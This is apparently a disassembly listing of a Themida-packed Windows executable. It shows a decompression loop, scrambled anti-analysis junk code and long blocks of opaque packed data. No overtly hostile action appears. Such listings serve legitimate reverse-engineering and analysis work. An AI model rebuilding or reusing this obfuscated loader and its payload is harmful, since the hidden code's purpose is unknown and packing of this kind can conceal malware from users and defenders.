loc_4E113B:				; CODE XREF: sub_4E111B+19j
		jnb	short loc_4E1127
		add	dl, dl
		jnz	short loc_4E1146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1146:				; CODE XREF: sub_4E111B+24j
		jnb	short loc_4E1197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E1153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1153:				; CODE XREF: sub_4E111B+31j
		jnb	loc_4E1238
		add	dl, dl
		jnz	short loc_4E1162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1162:				; CODE XREF: sub_4E111B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E116D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E116D:				; CODE XREF: sub_4E111B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E1178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1178:				; CODE XREF: sub_4E111B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E1183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1183:				; CODE XREF: sub_4E111B+61j
		adc	eax, eax
		jz	short loc_4E118D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E118D:				; CODE XREF: sub_4E111B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1197:				; CODE XREF: sub_4E111B:loc_4E1146j
		mov	eax, 1


loc_4E119C:				; CODE XREF: sub_4E111B:loc_4E11B0j
		add	dl, dl
		jnz	short loc_4E11A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11A5:				; CODE XREF: sub_4E111B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E11B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11B0:				; CODE XREF: sub_4E111B+8Ej
		jb	short loc_4E119C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E11E3
		mov	ecx, 1


loc_4E11C0:				; CODE XREF: sub_4E111B:loc_4E11D4j
		add	dl, dl
		jnz	short loc_4E11C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11C9:				; CODE XREF: sub_4E111B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E11D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11D4:				; CODE XREF: sub_4E111B+B2j
		jb	short loc_4E11C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E11E3:				; CODE XREF: sub_4E111B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E11F1:				; CODE XREF: sub_4E111B:loc_4E1205j
		add	dl, dl
		jnz	short loc_4E11FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11FA:				; CODE XREF: sub_4E111B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E1205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1205:				; CODE XREF: sub_4E111B+E3j
		jb	short loc_4E11F1
		cmp	eax, 7D00h
		jnb	short loc_4E1228
		cmp	eax, 500h
		jb	short loc_4E1223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1223:				; CODE XREF: sub_4E111B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E122B


loc_4E1228:				; CODE XREF: sub_4E111B+F1j
		add	ecx, 2


loc_4E122B:				; CODE XREF: sub_4E111B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1238:				; CODE XREF: sub_4E111B:loc_4E1153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E1259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1259:				; CODE XREF: sub_4E111B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E111B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E1265:				; CODE XREF: start:loc_4E1076j
					; start+9Dj
		jmp	loc_54B46B
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E126A	dw 38E9h		; DATA XREF: start+77o
		dd 1563490h, 9222AFFAh,	1EF0FE1h, 74736552h, 41CC7261h
		dd 0F42EE270h, 17C2F978h, 3CA7077h, 1A31AE1h, 52AE3A84h
		dd 0DC21E844h, 0DE7D2303h, 1FC22445h, 0A46DE957h, 6854807Fh
		dd 64696D65h, 0FEC8614Dh, 1A622ACh, 0EFFE0BE1h,	0EE11122h
		dd 0AE101BCh, 2E98E2FBh, 0CEBBAA10h, 33B81078h,	0FA43B887h
		dd 0FC503DFDh, 2303DC71h, 369177D5h, 0E95D8570h, 35E640CDh
		dd 0EF1BE103h, 21C58BC7h, 0C2E860D4h, 0ED815D20h, 1034019Fh
		dd 0F5958906h, 0B50D8830h, 0C98541E9h, 0BD830121h, 71CD5h
		dd 0E88B0C74h, 0B84CE2E4h, 78C28F09h, 0E3244470h, 20203EB9h
		dd 0E8456A0Ch, 0F6829A3h, 783749Ah
		db 4Ah
; ---------------------------------------------------------------------------


loc_4E132D:				; CODE XREF: Themida_:004E13ABj
		fisttp	word ptr [edx]
		add	esp, ds:0D20A894Bh
		aad	21h
		jmp	near ptr 0EC981550h
; ---------------------------------------------------------------------------
		db 0FAh, 1
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pop	eax
		out	dx, al
		pop	edx
		or	[ecx+1358DEAh],	al
		mov	ebx, edx
		mov	dword ptr [ebp-28h], 0E630823h
		inc	eax
		mov	[edi], ebx
		or	[ecx+1D80987Dh], al
		jz	short loc_4E1370
		iret
; ---------------------------------------------------------------------------
		dw 820h
		dd 93F783E4h, 120CFF10h, 36E1EB43h
; ---------------------------------------------------------------------------


loc_4E1370:				; CODE XREF: Themida_:004E135Fj
		fsubr	qword ptr [esi+61h]
		db	26h
		or	cl, 0C2h
		add	al, 80h
		inc	esi
		add	esp, 2D1FF7Ch
		dec	ecx
		enter	0FFFF80D6h, 8Dh
		inc	ebp
		or	byte ptr [ebx-38D7F7A3h], 85h
		sbb	[ecx+0A408D50h], ecx
		rol	ebx, 1
		mov	ds:0B894118h, dl
		adc	al, 81h
		mov	ebp, 755D4006h
		push	edx
		jecxz	short loc_4E13CC
		test	[ebp-7F9BE246h], ecx
		jnz	short loc_4E132D
		mov	cl, [esi]
		mov	ebx, 15B92F4h
		mov	eax, 785437ABh
		rcl	eax, cl
		stc
		ja	near ptr 0F7C35ECAh
		pusha
		scasd
		retn
; ---------------------------------------------------------------------------
		db 47h,	46h, 0A4h
		dd 54468C4Ah
; ---------------------------------------------------------------------------


loc_4E13CC:				; CODE XREF: Themida_:004E13A3j
		stc
		inc	edx
		rcl	dword ptr [edi+61h], 1
		mov	al, [eax-30h]	; CODE XREF: Themida_:004E13D4j
		lock jmp short near ptr	loc_4E13D1+1
; ---------------------------------------------------------------------------
		db 14h
		dd 4DFC45EEh, 0AD04EB14h, 80461879h, 0BAF7403Eh, 34DC84A6h
		dd 0EB0C7DC3h, 0F83E217Fh, 0F0126D99h, 0F40E9509h, 0C14A0210h
		dd 8004F065h, 0E0D1F8D6h, 0C0C27203h, 8ADB3328h, 8039301Ch
		dd 0A7298FBh, 7A77390Ah, 0E4EB7D05h, 6114CF22h,	660A0DECh
		dd 1EDE08FEh, 0AC39DBEh, 411A1058h, 0A0B6172h, 0BD067746h
		dd 30014424h, 0F4ECF05Dh, 2E67D83h, 0CB07236h, 0A5766EC0h
		dd 0F826AACCh, 8D0E9C83h, 3B01A8D4h, 820FFC55h,	0B0BD5378h
		dd 387CAA83h, 0C108BAA1h, 5070C1B9h, 371CBDFCh,	30FFE80h
		dd 0FA754947h, 6A8B22B9h, 1101BBB8h, 823BF1FAh,	0C1026EEBh
		dd 3929868Eh, 705107F4h, 8B367E65h, 0DE268AB9h,	83C8E927h
		dd 6BDB8C59h, 4DB51EBh,	3F21173Eh, 458A03C4h, 30820525h
		dd 41211A09h, 0BB00C451h, 4FA80DD0h, 6761F2h, 82E4ABB9h
		dd 54F035EAh, 2C626B0Fh, 39150CC3h, 0D07E0078h,	0EE94CB0Ah
		dd 0EC0005BFh, 6B185AF6h, 19B857B7h, 0AAD8A9E3h, 0FA2524F1h
		dd 0E00E107Ch, 34CB8Ch,	4E398267h, 0F76305Bh, 43D511Ch
		dd 3B76D17Ch, 756A4661h, 93462E09h, 0EC48020Eh,	69065E4h
		dd 0C5847D80h, 962A8E05h, 53479A3Ch, 45C20485h,	0D718C29h
		dd 0BB0EE78Ch, 2BFF30AAh, 0C0047781h, 0C1341D22h, 3319F984h
		dd 3FBC2075h, 660A7707h, 25030EFh, 8CE2ECA9h, 0FFCC7F67h
		dd 453340E4h, 6094E9FAh, 52C46200h, 11254D8Ch, 0B1AA2182h
		dd 425AAB33h, 56241384h, 825E6000h, 81AA47EEh, 4F052184h
		dd 13B9AA8Ah, 97522320h, 9E98A43h, 47757800h, 60EAF3F4h
		dd 1E24150Ch, 181D663Fh, 4800AFE7h, 105CC915h, 2507608Ch
		dd 719BD482h, 1B55A33Eh, 22190B8Fh, 670E050Ch, 854AA8BCh
		dd 0A600DA8Dh, 813575DCh, 0E4C6A1E2h, 14D193CCh, 1B90102Bh
		dd 0FD8B5301h, 0F0CA0B5Ch, 19C33D86h, 0E3DA8C51h, 230AD1C8h
		dd 1D02F498h, 0BC008E9h, 0E3A57A76h, 98DC1548h,	7EAAEAh
		dd 6CEFB068h, 59C031F2h, 9AD00E01h, 3793F523h, 67EA5CC0h
		dd 11522D18h, 0EE91EC81h, 58FC389Bh, 506C3DCAh,	3286BC50h
		dd 0EA20159Ah, 71494480h, 2C12E578h, 0DA18985Fh, 821E4628h
		dd 2DC2C018h, 93494500h, 5C34B752h, 0C0100760h,	0AEC882DFh
		dd 0C65726F9h, 9AF3A080h, 5C2859BBh, 83228F34h,	0C48C3903h
		dd 0E9187B58h, 494F1512h, 0D804CD00h, 0DEEC4D5Bh, 885D0061h
		dd 7C60144Bh, 0B41C51ABh, 8240598Ah, 6631D2F7h,	84102836h
		dd 0DEA3322h, 0B088540Bh, 0A626B97Bh, 8500398Bh, 0C7829290h
		dd 0A8C003B4h, 0DCE5814Eh, 0DDAF1200h, 8C675CBAh, 505773C8h
		dd 0FE10F2D8h, 0B2EF0AC4h, 60D02CE7h, 171E8C3Fh, 0D561E600h
		dd 0B883B295h, 0AF4E1D6Fh, 0EA844643h, 0D7074E05h, 0A295FA82h
		dd 1108120Eh, 0FE98C31h, 920E880Bh, 0A0FD9B80h,	8103FFABh
		dd 0F6F874C8h, 0F1D102BBh, 0EA5B56F6h, 5A011864h, 359E07A0h
		dd 12C098BEh, 4FE30096h, 1982CD87h, 0B40BD695h,	204AEAE2h
		dd 0FA1B147Bh, 7205026Dh, 0C8D8078Ah, 595C4160h, 4F64FC01h
		dd 7596E354h, 7C0BC1D3h, 0B00008BEh, 0B9ACCF17h, 8A773E61h
		dd 848E9207h, 391CC280h, 0E2DF01C3h, 876ACCB2h,	0BD518055h
		dd 446C0E37h, 23D507C2h, 0E384A4B8h, 9EC94E06h,	0D23081B4h
		dd 63FA47DEh, 0F2512886h, 701B4156h, 0C760A739h, 65BFEC3h
		dd 6E3FA519h, 6D00307Ch, 4BA8B9C3h, 58D252EEh, 2F036554h
		dd 0A6B2F66Eh, 88571000h, 8B701350h, 43210C94h,	84596D41h
		dd 0AB44D21Dh, 5A318701h, 93D478CEh, 8C290183h,	7D136F43h
		dd 2E980D0h, 71035647h,	775F02B8h, 7E998320h, 0AFFF8490h
		dd 2AC44C00h, 0A3EC0FD8h, 47FA3027h, 0A89874E8h, 9232E0FFh
		dd 5A7FB400h, 4367A34Dh, 58454Eh, 0EEF913ACh, 0A8FD5700h
		dd 0BCF50D63h, 0DAFA0C68h, 9C38A6D3h, 85898A0Eh, 65FC80ACh
		dd 50809B66h, 184344D8h, 78B8DAEAh, 7405E5FCh, 0DDAAEED6h
		dd 0C8D7880Dh, 677611C8h, 0C55051h, 0D2F3B813h,	0DB2A8E18h
		dd 3743F428h, 0DE49E622h, 3370F3C3h, 8EEBA8C0h,	28A5EA31h
		dd 38BCFF3Fh, 7D30A9A0h, 0BD6B89D7h, 0B70F3CA5h, 0E7310500h
		dd 0B84AC106h, 8C733F05h, 0F207CC54h, 2019762Fh, 6B682738h
		dd 58B72AF0h, 47BD0ADCh, 3EF87B96h, 0E002EE8Ch,	0C918C468h
		dd 3F3966E4h, 6BE32A86h, 0D4CF00A4h, 7E25FBF8h,	0DEA047B4h
		dd 86059BF4h, 0D6C98427h, 7C2F1C03h, 0DFB100C3h, 0CD14A132h
		dd 6E00866Dh, 49E43CA0h, 1D28CAEh, 0FA38F7C5h, 48596A12h
		dd 0C60987C4h, 10F35184h, 607B4350h, 0FE838963h, 6A65C612h
		dd 0F421E330h, 8EF02766h, 0B6CF0098h, 3D39AAEAh, 476132FEh
		dd 0EE7017F9h, 0E1A96840h, 3C79012Ch, 35E065C9h, 9A43D61Ah
		dd 0B39A5802h, 80C1528Eh, 464A538Ch, 0ED98A109h, 83BE4EF0h
		dd 0B8F077F3h, 4860A899h, 2AFE6459h, 48A2608Dh,	212509F9h
		dd 13B0C803h, 0A8D851BCh, 600A47DFh, 8FF05014h,	0A63AC8E9h
		dd 99900F78h, 0FA29A001h, 0ADF34Eh, 0B8702165h,	0BDF3A2Bh
		dd 0A88FC000h, 1501371Dh, 0F9121D4Dh, 8519007Fh, 5C1E625Dh
		dd 1B0BFB07h, 0BA815EC4h, 0EEF08432h, 989E3C44h, 0EDEABD80h
		dd 15A8B7C0h, 0AC69400h, 6481DF4h, 0B22D3D50h, 84CBA4h
		dd 0BFA59D16h, 8200C9E9h, 61C71BF4h, 92D8EAF6h,	646C1D4Ch
		dd 0B998550h, 0AC804079h, 0A4A03432h, 3612D17Ch, 7C048215h
		dd 0FC015DB2h, 405F77DAh, 6D7C390h, 1A18A360h, 805E9231h
		dd 0FA09030Bh, 235D522Ah, 0E572EFA8h, 0C1410h, 552F7AADh
		dd 0A3766657h, 0CBD2D8A8h, 9E8902F3h, 208E4FA6h, 4582846Bh
		dd 5F401829h, 0CF60008Fh, 67033590h, 0ED0944F3h, 0E6D1B16h
		dd 6F3A461Ch, 780B3040h, 5062FDE1h, 40A80509h, 605404D6h
		dd 0BC3EF440h, 0A9398C30h, 683A818Ah, 3FBEE58Eh, 48926AC9h
		dd 0FF340437h, 974D0455h, 643014C5h, 99C57B6h, 6BD3C11Bh
		dd 2524700h, 20B1D6CCh,	31432F03h, 0B348101Ch, 6D9B136Eh
		dd 0DEEE2420h, 20DD81AAh, 43116B7Ch, 84035144h,	69FFCAFAh
		dd 0D6C28109h, 0CB48A056h, 6026DFA3h, 0DE9B10A5h, 12630A3Fh
		dd 0A1BABEB8h, 498C5949h, 0D491620Bh, 260032B8h, 34073FAh
		dd 0E27B216Eh, 0D95900D1h, 47DD1A16h, 48C07246h, 0B6AB262h
		dd 0D7801213h, 0E3EC4653h, 931F5955h, 5A804503h, 6125366Dh
		dd 0B053FB9h, 0E0D7F414h, 180C288h, 3D3EB26Ch, 44BF0C13h
		dd 5149F346h, 9C5BF42Ch, 17C1262h, 0C6CAEE63h, 58049086h
		dd 28BF122h, 8016F96Ch,	6C4830DDh, 7544EBCCh, 0A611141Ah
		dd 45019CB6h, 4706F2Fh,	0FB8460AFh, 0D24391C1h,	0DC64A10Ah
		dd 5FDD8856h, 479C620h,	7838FED7h, 0CDA08353h, 0E3393Ah
		dd 0BF39D184h, 586A7368h, 9710508Eh, 0EF90257h,	0A7062972h
		dd 0F661F4F8h, 4434A87Ah, 9E3A1543h, 7E18E44Bh,	4D2D59C4h
		dd 10F81CE4h, 0CC167426h, 47109828h, 8A007AE2h,	8EF8E390h
		dd 6200F43Fh, 8B6FDE26h, 88475A9Eh, 0BE00F70Bh,	17C2A82h
		dd 0F61AEA2h, 1DA59E92h, 38852602h, 0F50F08CCh,	1213BF43h
		dd 480EDC04h, 0A84CF810h, 3C1622C7h, 3718DEB1h,	4B900F95h
		dd 0AC72248Eh, 854F8D60h, 0A2903019h, 12C1C340h, 5E104537h
		dd 6D0722CCh, 8DE95C4Ah, 92EAA16Eh, 0F0A89DC3h,	4FC62000h
		dd 2DE8348h, 928ED59Bh,	4D70E8CFh, 0BED20901h, 14221A5Fh
		dd 18645A82h, 58A7B800h, 873ECE06h, 8FE60012h, 4E227D6h
		dd 6C0521A4h, 4EFEBE08h
		dd 6084F489h, 4BC9F86h,	0F0894743h, 0F8AD5810h,	0FBA00196h
		dd 29D24D99h, 5A884194h, 0D4798042h, 0C7B102EFh, 0E350368h
		dd 9FF42BBFh, 2F24AD90h, 0D8666D00h, 76F26EAAh,	0C1494B5h
		dd 2141435Ah, 0C68A0700h, 0D01D6977h, 819004Ah,	0BD603CC0h
		dd 7C284315h, 77454C52h, 5F40E21h, 9F9B0985h, 49818148h
		dd 805AF851h, 57BFA59h,	359BF325h, 81392A0Bh, 5726C4h
		dd 18022EB6h, 10475631h, 6E00E6C7h, 0F97B4EE9h,	0A4D7CC01h
		dd 0F74A084h, 2B158058h, 485048DEh, 77AEB700h, 0FB545305h
		dd 54A28CA4h, 16E7BFC0h, 368ED612h, 0E3F55481h,	0D17AD3h
		dd 0BBC21364h, 0CAE04EC4h, 2C563D00h, 0FAC5FE0Bh, 5F4B0315h
		dd 3AF65416h, 0F5505800h, 4085DF38h, 80983B66h,	9C83A448h
		dd 0CDDBEE4Bh, 0B82690Ch, 7FB4C17Dh, 4E95008Dh,	9BEAA96Bh
		dd 0EFE2C207h, 5CD9301h, 6187D980h, 45D22834h, 0C7D6F167h
		dd 0C4E36129h, 0DF22AE00h, 0ACF4Ah, 70C48230h, 0C0D526AAh
		dd 6E57DE09h, 0C4500819h, 0FA5F5502h, 0DD088069h, 8462663Fh
		dd 0C9AF9488h, 6083AC34h, 4D52F081h, 0B6DAFE00h, 0F2408094h
		dd 50C1FC10h, 0A29F02Fh, 839BBAB3h, 5BDB08D0h, 0F6D2F303h
		dd 6C91ECE8h, 0C714697Bh, 47C8143Ch, 884C1A47h,	0F17F600Ch
		dd 2B2293DBh, 3C005871h, 0D8B69506h, 769B027Eh,	0D4FC1Ch
		dd 8E2DB33Bh, 17F2684Dh, 60FF3237h, 84B26684h, 0EC80D850h
		dd 21C61EB1h, 6B594081h, 1A7168F2h, 0C4A5CE26h,	30A3DA08h
		dd 48337018h, 807BBB00h, 499058EAh, 5141655Ah, 99CB00F9h
		dd 0E92B6871h, 3800F471h, 6EE0DE9Fh, 50DA317Ah,	0EA4380B3h
		dd 594760F2h, 0BD9BE67Dh, 21C9F800h, 23CD64Ah, 9668E427h
		dd 0DDCE40F8h, 20FA960Fh, 6CBD9D05h, 980493B9h,	0F20BAB12h
		dd 0E06B9801h, 0D90C20F9h, 44E4A444h, 0D2005655h, 0F17E91AEh
		dd 8772Fh, 1239FA71h, 4DE3F450h, 0E14129CFh, 9EA5F5C2h
		dd 0E73F30h, 800CDB21h,	259B6323h, 1EA26002h, 40AE856Ah
		dd 805327E0h, 1800B655h, 76E375CCh, 53D80229h, 0B0880462h
		dd 16839880h, 81AA7h, 1F74E541h, 0FBAF9CC8h, 18A15730h
		dd 30AD63D8h, 4840D969h, 2CB84556h, 0B2ACD60Ch,	1775906h
		dd 0D25D7E7Dh, 0F10EA644h, 0C694F043h, 0C165350Fh, 1DF966BDh
		dd 0B0ED1D38h, 23714F74h, 83E98987h, 1043193Ch,	31320430h
		dd 66C00413h, 1098525h,	0A668C281h, 3076B2F3h, 0E5185D89h
		dd 0BBB87C7Fh, 1E427852h, 0C9DF3Bh, 2800638h, 0E600CD3Ah
		dd 0D662DE1h, 1B0CF9FDh, 2997E543h, 9FDAB6E1h, 68805FC8h
		dd 0D049D299h, 46BD0D2Ah, 8890E9D4h, 0E1A84A8h,	0A6A1F189h
		dd 0D253F0BDh, 8A648F41h, 8274390h, 0A1EDE142h,	88E8E7BCh
		dd 0DF0A41BCh, 81C42CE5h, 1D44D56Ah, 0F79181AFh, 0ECE85681h
		dd 0C6667880h, 0A31D5C41h, 0D2A21C1h, 599E6155h, 0BE818A27h
		dd 9B928518h, 18E05D5Bh, 0E5E0A8DFh, 317181EFh,	0F0A3862Ch
		dd 0D938AC53h, 2D0A720h, 0BB9706EFh, 40A45393h,	0B422790Ah
		dd 0AA89F468h, 0E22411D5h, 0EA080882h, 78C366EDh, 851587E0h
		dd 63DA2E03h, 0D971A661h, 0B98A27F5h, 54CEBAFh,	43F149D4h
		dd 0BEA7D1A0h, 0EA78D103h, 0A334663Dh, 5D40A025h, 438200FFh
		dd 0D88AE49Ch, 46EE7DBh, 63469E91h, 1103B0h, 20DCC78Ch
		dd 4FE7E054h, 102F61CCh, 803054E5h, 16180297h, 5B0D5F77h
		dd 0ED18F48Dh, 1A285B6Ah, 1E181F77h, 98111828h,	65555868h
		dd 13F094A8h, 38CBC803h, 0A0DB421Ah, 0ABD68316h, 0E36CC8A4h
		dd 0F58A5814h, 0CCCB4043h, 0D786BB83h, 0F3958h,	0B3D88CA2h
		dd 30170592h, 0B4912F1Ah, 4C90EF32h, 31DD0098h,	0E0583C2Bh
		dd 0A45B54E8h, 94412472h, 76304C3Ch, 344AF789h,	3B5E5488h
		dd 8FBB89D3h, 0B4B5B18Eh, 0CAD10A6Ch, 11429A00h, 97DCD78Ch
		dd 489251AAh, 4723BC1Eh, 60AF6361h, 247BE424h, 508DDD8h
		dd 4F0FE7DFh, 431268A8h, 645A0D7Ch, 0D4A16119h,	0F608BAA9h
		dd 0CD18188h, 0DC852BD3h, 21005B71h, 4B44D82Fh,	4ECB272h
		dd 0B4A7DB06h, 40D08554h, 22817170h, 0DF181FB1h, 0AA811EE6h
		dd 0EFDB3EAFh, 0F9292056h, 0CCE105BCh, 8FA004BCh, 0EC9C8226h
		dd 0C1D8A043h, 0F1900A70h, 10077424h, 38C2518Ch, 1DEADFh
		dd 0E8904F7h, 0BE2FAF12h, 48217439h, 66C4003Ah,	0C844F750h
		dd 223100ABh, 0D37A027Bh, 98013CEFh, 8E1D0E1Eh,	2AF04B07h
		dd 70220741h, 906634D0h, 0E72FCB0Dh, 0CEF45400h, 7A3B25BDh
		dd 40CC600Eh, 0D119206h, 134BA083h, 2757001Bh, 80302270h
		dd 0D7007A50h, 88F74C29h, 1F21AF0Ah, 4476B3Bh, 8011A9D6h
		dd 0FB1D037Ch, 148C1302h, 0C427551Bh, 5D048D7Ch, 8A80F84Ah
		dd 1128D0Ah, 3FD89057h,	488037C3h, 96EDF7Ah, 0DB7781F5h
		dd 2293B3Dh, 0F0C8CC50h, 3174C01Dh, 7E23043h, 54AF2F40h
		dd 6922A500h, 0D47D506Ch, 0E85A0029h, 39BDD6EFh, 0E400DD62h
		dd 9E6CE1Ch, 40C5159Eh,	0C108F1Eh, 0D0005418h, 0B517B69h
		dd 480029CBh, 0B0CF8D8Ch, 17670CDh, 0FA021050h,	0D8089E0Dh
		dd 0C500E743h, 46040C83h, 9CEC054h, 9517A26h, 8B613884h
		dd 0F880AE94h, 2E208A13h, 6F4822EEh, 50007154h,	4129CE0Bh
		dd 3B0AEF90h, 618021BFh, 0F6CD0E02h, 0D400A93Ch, 7894C04h
		dd 120BF2h, 74A22B98h, 7A566234h, 547B020Fh, 0B5C580FEh
		dd 0C20680h, 0EAC37837h, 32E0AC1Fh, 8C0940C1h, 0BC01111Ah
		dd 5067CC74h, 6D02751Dh, 0DC8BF400h, 2D66A1h, 0D4CC4661h
		dd 11991FE6h, 4B490300h, 1B0E8C20h, 0BE240098h,	42672E21h
		dd 8CB31075h, 58705057h, 9A048F24h, 22462A00h, 73DC4B9h
		dd 10C97B78h, 89F56228h, 3E358CC0h, 9845802Ch, 954AEE00h
		dd 1D0211h, 0B8604F5h, 0A21359D5h, 68393B00h, 66D60943h
		dd 3B81E24Dh, 2100BED0h, 0C30A5F76h, 980025B3h,	4B43CE08h
		dd 0E138D10h, 0A9405314h, 5A776940h, 2900DFCCh,	0D592F833h
		dd 73F66AFh, 0D40F0265h, 159630EAh, 4B00170Dh, 612F371h
		dd 3A52E98h, 58353028h,	5DB0D00Bh, 0ACB0934Dh, 2613344h
		dd 0AC20F0CBh, 9C53D9DEh, 43FDA57h, 1DD500D7h, 142B3DA3h
		dd 31D6AD00h, 36CBD708h, 2A9229D8h, 0A5005434h,	81642722h
		dd 7936DFh, 38313DD5h, 74630AA0h, 0B450609Ch, 183F671Dh
		dd 0B2B7C12Ch, 21BF01h,	87C22273h, 5E2E850Dh, 18C00C9Fh
		dd 0C1FC121h, 47C03C22h, 802375Eh, 964A049h, 0BA9C17DAh
		dd 0ACD4C391h, 21050930h, 1C9CD2E9h, 0C004480Dh, 53CF46C1h
		dd 0FB00118Fh, 81A9B2Eh, 0E0FD43h, 979CC816h, 0DC616342h
		dd 7C41AA5Bh, 0D76FBC38h, 250EAEF4h, 10415906h,	192180CDh
		dd 1AA26FB4h, 36323AE2h, 45764D80h, 0EEBEE11Dh,	98305C75h
		dd 332A6013h, 0E8E700C1h, 2372D993h, 0D8E96402h, 221844D1h
		dd 8BF91FE1h, 0F30B004Eh, 5A53D614h, 0E25371D9h, 5274201Ch
		dd 0ED00B891h, 78A52A88h, 8C0EBD23h, 0EF22C2BFh, 3EB39464h
		dd 763F0071h, 576763E4h, 74D466C1h, 9E004170h, 21BCBE54h
		dd 5118C78h, 7AB32742h,	0E68C0CBFh, 3D2023B8h, 60DF7971h
		dd 0FEF3B192h, 5825F5C4h, 76C04870h, 3844868Eh,	8000BEA7h
		dd 0D0EC9F52h, 0C9020B33h, 92488782h, 0E11C8383h, 0F499006Ah
		dd 0AC646213h, 9120A38h, 2054B168h, 62308h, 91B49CE0h
		dd 44863436h, 9CE6E320h, 0D2014A00h, 6944B43h, 0E7FB0034h
		dd 0B0EDB9EAh, 0E0D41FC7h
		dd 8C16E854h, 5687B201h, 0D6122001h, 28D4DADCh,	3340EEE0h
		dd 0A0310DB1h, 0F9F757D0h, 0FB0031F2h, 0B7A6FE8Fh, 7B496AF3h
		dd 0B12900C7h, 6E7922E0h, 9205287Ch, 71DC4D54h,	0D587EC01h
		dd 44E8F386h, 25028FDh,	839508BCh, 706A338h, 79144Ch, 1C0BE8A1h
		dd 610D245Ah, 49DCA407h, 9EC04B20h, 0F5DAB9h, 8B94F135h
		dd 8196C56h, 0DC31EF7Ah, 0CB15804h, 3E59B980h, 97A60EADh
		dd 52FC7803h, 0CF6DE26Eh, 4CD361F2h, 6FB3049Ch,	62D642E0h
		dd 0AB1620D0h, 0A700BB6Fh, 42FD7D1Bh, 0C40B98F5h, 4010B270h
		dd 2181693Bh, 0B92E0057h, 7711F1A7h, 780174AAh,	0AE41A9FBh
		dd 0B892C224h, 0F220B0BBh, 6CF5D902h, 808116F1h, 2B7B5848h
		dd 0E9DA1D2Ch, 0B03B9288h, 762846E0h, 0C200F8B8h, 0CF793FA6h
		dd 49E1D12Ah, 82004067h, 0EC7441C7h, 0D47D66C5h, 80188695h
		dd 0DFA70321h, 0D1CEDD41h, 0C405CBF9h, 5B12C9F4h, 2854DCB0h
		dd 456181ECh, 10247599h, 34763291h, 0C830D470h,	0EC731141h
		dd 807688DDh, 0B241E0A8h, 0E731A067h, 0CBA76039h, 0F2D4E980h
		dd 1DF70456h, 3B148103h, 88AB7BACh, 39AEF6CAh, 0F312E494h
		dd 0DB90B0C4h, 348FD75h, 88C284DCh, 0B063D901h,	9FB9804Fh
		dd 28BB2E4h, 0A1E20480h, 0A9E5DF03h, 9B940430h,	1C836956h
		dd 30897CB0h, 74211F49h, 3200EC1Bh, 0B4DC839Bh,	170E8FBh
		dd 7F533FFCh, 3054EE22h, 9443094h, 92A7F20Dh, 0A9FC02ECh
		dd 0CADFE449h, 0B8E0CC4Dh, 4059A687h, 0A0135377h, 0A400C303h
		dd 2BC18889h, 0B9DD6D90h, 9310F2D8h, 80894B06h,	11C41D44h
		dd 0A4FA50AAh, 0D7A0EF0Ch, 9CFA50DBh, 0EA768444h, 71B0C253h
		dd 0DD8E3720h, 0E82C00C0h, 9141780Fh, 63009CB8h, 48B60AF4h
		dd 37A689C9h, 0C4A81195h, 201C89AFh, 0B01AEAC4h, 468C943h
		dd 0B067B884h, 587C722h, 0C4C0A4B1h, 286F220Bh,	48A8DF49h
		dd 0AA0F2E59h, 1A4CDB42h, 6A00E7F1h, 5334B25Dh,	713C03h
		dd 2AA3EDE4h, 0E82F74B9h, 0E98B5B02h, 6F1E01B0h, 80A76494h
		dd 60E19D28h, 88EA6109h, 48C8213Fh, 0EC3353D9h,	7B301DA2h
		dd 30855816h, 0B416B89Ch, 93EC4205h, 50436F9Ah,	0B5207882h
		dd 3AC7C1CCh, 0F9D017h,	0D63C5031h, 69E96168h, 0DC8E9107h
		dd 38CFE597h, 0F28DF48h, 0F1205859h, 0AE34A320h, 9700FCAFh
		dd 0D665A5Dh, 4268B8Ch,	41554F68h, 2389705h, 0D504CEC3h
